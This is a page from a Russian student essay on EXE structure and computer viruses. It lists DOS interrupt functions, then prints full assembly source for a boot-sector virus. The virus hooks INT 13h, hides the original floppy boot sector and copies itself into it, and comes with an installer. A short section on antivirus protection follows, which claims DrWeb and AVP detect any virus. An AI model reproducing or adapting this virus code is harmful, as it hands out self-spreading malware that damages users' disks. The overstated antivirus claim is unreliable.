Семантический анализ структуры EXE файла и дисассемблер (с примерами и исходниками), вирусология
Категория реферата: Рефераты по информатике, программированию
Теги реферата: бесплатные рефераты скачать бесплатно, товар реферат
Добавил(а) на сайт: Gorev.
Предыдущая страница реферата | 13 14 15 16 17 18 19 20 21 22 23 | Следующая страница реферата
0 - от начала файла
1 - от текущего положения
2 - от конца bx = дескриптор cx:dx = смещение (cx=старшие 16 бит, dx=младшие) выход: if CF=0 then dx:ax = новое положение указателя относительно начала else ax = код ошибки (1,6)
Получить атрибуты файла
~~~~~~~~~~~~~~~~~~~~~~~ вход: ax = 4300h ds:dx = имя выход: if CF=0 then cx = атрибуты else ax = код ошибки (1,2,3,5)
Chmod - Установить атрибуты файла
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ax = 4301h cx = новые атрибуты ds:dx = имя выход: if CF=0 then ax = else ax = код ошибки (1,2,3,5)
Выделить блок памяти
~~~~~~~~~~~~~~~~~~~~ вход: ah = 48h bx = размер блока в параграфах выход: if CF=0 then ax = сегмент блока else ax = код ошибки (7,8) bx = размер наибольшего доступного блока
Освободить память
~~~~~~~~~~~~~~~~~ вход: ah = 49h es = сегмент блока выход: if CF=0 then ax = else ax = код ошибки (7,9)
Изменить размер блока памяти
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 4Ah bx = новый размер es = сегмент выход: if CF=0 then ax = else ax = код ошибки (7,8,9) bx = размер наибольшего доступного блока
Exec - загрузить или выполнить программу.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ вход: ah = 4Bh al = тип загрузки:
0 - загрузить и выполнить
1 - загрузить и не выполнять
3 - загрузить оверлей
4 - загрузить и выполнить в фоновом режиме (dos 4.0) es:bx = блок параметров (таб 3) ds:dx = имя программы
выход: if CF=0 then bx,dx разрушены else ax = код ошибки (1,2,5,8,0A,0B)
Пример элементарного BOOT-вируса:
.286
.model tiny
.code
org 00h
start: jmp install
;jmp fkс
table: ; А вот тут будет таблица диска org 4ch ; много места ей, но...
fkс: nop ; xor di,di ; обнулим их mov ds,di ; DS=0 cli ; mov ss,di ; SS=0 mov si,7c00h ; SI - адрес в памяти, там мы
; начинаемся. mov bx,si ; запомним это... еще пригодится mov sp,si sti dec word ptr ds:[0413h] ; стока памяти дос mov ax,ds:[0413h] ; в АХ размер дос-памяти в килобайтах mov cl,06 ; чтобы получить сегмент надо число shl ax,cl ; килобайт умножить на 40h
; немного арифметики - сегмент считают
; от начала памяти в параграфах, пара-
; граф=10h байт, 40h параграфов=400h
; байт=1кБт. дальше все ясно. mov es,ax ; ES=адрес нового сегмента push ax ; в стек его - будем делать переход mov ax,offset inst_int ; на это вот смещение push ax ; и его в стек тоже mov cx,200h ; но сперва надо перенести свое тело cld ; в этот вот сегмент rep movsb ; переносим retf ; переход через стек inst_int: ; здесь мы уже в новом сегменте mov ax,ds:[13h*4] ; INT 0E0h=INT 13h original mov ds:[0e0h*4],ax ; mov ax,ds:[13h*4+2] ; mov ds:[0e0h*4+2],ax ; mov word ptr ds:[13h*4],offset int13 ; INT 13h=наш обработчик mov ds:[13h*4+2],cs ; xor cx,cx push cx ; снова подготовка к переходу push bx ; через стек в точку 0000:7C00h mov es,cx mov ax,0201h ; читать нормальный бут-сектор mov cx,cs:floppy_sect ; вот отсюда его и читать mov dh,cs:floppy_head ; xor dl,dl ; с диска А: естественно int 0e0h ; вызов оригинального INT 13h run_boot: retf ; запустить бут.
;------ *** Hаш обработчик INT 13h *** ------- int13: mov cs:shit,ax ; сохраним ax int 0e0h ; выполним операцию jnc int_continue ; если была ошибка уходим jmp int_exit int_continue: pushf ; флаги запомнить надо! cmp byte ptr cs:[shit+1],2 ; reading sectors? jnz g1 cmp cx,0001 jne g1 cmp dh,0 ; читаем бут jne g1 cmp dl,01 ; не с винта надеюсь? jna fkс_boot g1: jmp get_out
;------------- Обработчик чтения бута с дискеты --------------- fkс_boot: pusha push ds es push es pop ds lea di,fkс ; сравним то что у нас по смещению fkс mov ax,cs:[di] ; с тем что мы прочитали по тому же смещению mov si,bx ; Так мы проверяем заражен ли add si,offset fkс ; уже нами бут-сектор cmp ax,[si] ; jz exit_boot_work ; если нет то уйдем отсюда cmp dl,1 ; на всякий пожарный :) В принципе можете ja exit_boot_work ; эту проверку выкинуть - она уже была
find_place: ; поиск места куда прятать старый бут-сектор mov ax,[bx+16h] ; ax=число секторов в FAT mul byte ptr [bx+10h] ; умножим его на число FAT add ax,[bx+0eh] ; прибавим число резервных секторов для FAT-- push dx ; запомним dx - там номер диска и сторона | mov cl,4 ; | mov dx,[bx+11h] ; dx=число элементов корневого каталога |
; 1 элемент занимает 32 байта | shr dx,cl ; поделим его на 16 - получим число сектров |
; корня, вроде бы так... | add ax,dx ; прибавим к AX------------------------------ dec ax ; уменьшим на 1
; в AX порядковый номер последнего сектора
; ROOT'a... ??? mov cx,[bx+18h] ; cx=число секторов на дорожке push cx ; запомним его shl cx,1 ; умножим на 2 xor dx,dx ; dx=0 div cx ; поделим DX:AX на CX pop cx ; вытащим CX из стека - там число секторов на
; дорожке было push ax ; запомним частное от предыдущего деления mov ax,dx ; в AX занесем остаток от деления xor dx,dx ; DX=0 div cx ; поделим еще раз mov dh,al ; DH=номер головки mov cl,dl ; CL=номер сектора pop ax ; выкинем AX mov ch,al ; CH=номер дорожки inc cl ; прибавим к нему 1 pop ax ; AX=бывшее DX - там была сторона и номер
; дисковода mov dl,al ; номер в DL mov cs:floppy_sect,cx ; то что получилось запомним mov cs:floppy_head,dh
;---------all found dh,cx rules--------- mov ax,0301h ; записать старый бут куда надо int 0e0h jc exit_boot_work ; если была ошибка - прекратить работу
; чтобы не убить диск совсем
; можно этого и не делать, едва ли что
; случится - вероятность того что вычисленный
; нами сектор BAD очень низка, но... push cs pop es lea di,table ; скопируем из бута в свое тело таблицу mov si,bx ; параметров диска add si,offset table ; mov cx,4ch-3 ; rep movsb ; push cs pop es mov ax,0301h ; запишемся в бут-сектор xor bx,bx mov cx,0001 xor dh,dh int 0e0h exit_boot_work: pop es ds ; восстановим все что убили popa
get_out: popf ; и флаги обязательно
int_exit: retf 2 ; выход из прерывания
;-------------data block--------------
floppy_sect dw 2f08h
floppy_head db 01
shit dw 0 org 510
sign dw 0aa55h ; чтобы не выдавали сообщения NDD и прочие...
; это просто метка системного сектора
; ----- Инсталлятор вируса в бут дискеты ----- install: mov cs:[0000],4aebh mov byte ptr cs:[0002],090h ; нужная команда push ds xor ax,ax mov ds,ax mov ax,ds:[13h*4] mov ds:[0e0h*4],ax mov ax,ds:[13h*4+2] mov ds:[0e0h*4+2],ax mov word ptr ds:[13h*4],offset int13 mov ds:[13h*4+2],cs pop ds push cs pop es mov ax,0201h mov cx,0001 mov dx,0000 mov bx,offset our_buffer int 13h xor ax,ax mov ds,ax mov ax,ds:[0e0h*4] mov ds:[13h*4],ax mov ax,ds:[0e0h*4+2] mov ds:[13h*4+2],ax mov ax,4c00h int 21h our_buffer: end start
Существуют очень много вирусов, под разные операционные системы, имеющие
различные цели, написанные на разных языках высокого и низкого уровней.
МЕТОДЫ БОРЬБЫ С ВИРУСАМИ.
Почему-то многие считают, что антивирус может обнаружить любой вирус, то есть, запустив антивирусную программу или монитор, можно быть абсолютно уверенным в их надежности. Дело в том, что антивирус - это тоже программа, конечно, написанная профессионалом. Но эти программы способны распознавать и уничтожать только известные вирусы. На 100% защититься от вирусов практически невозможно (как если бы, пользователь меняется дискетами с друзьями, а также получает информацию из других источников, например из сетей). Если же не вносить информацию в компьютер извне, заразиться вирусом невозможно - сам он ни когда не родится.
Наиболее широкое распространение по борьбе с вирусами получили такие
программы как DrWeb и AVP. Благодаря своим новейшим детекторам, они могут
обнаружить любые вирусы - как самые старые, так и только что появившиеся.
Всегда нужно проверять файлы, попадающие на компьютер. Любой из них может
быть заражен вирусом, это нужно помнить. Стараться никогда не давать
работать посторонним на вашем компьютере - именно они
Рекомендуем скачать другие рефераты по теме: реферат менеджмент, вопросы и ответы.
Предыдущая страница реферата | 13 14 15 16 17 18 19 20 21 22 23 | Следующая страница реферата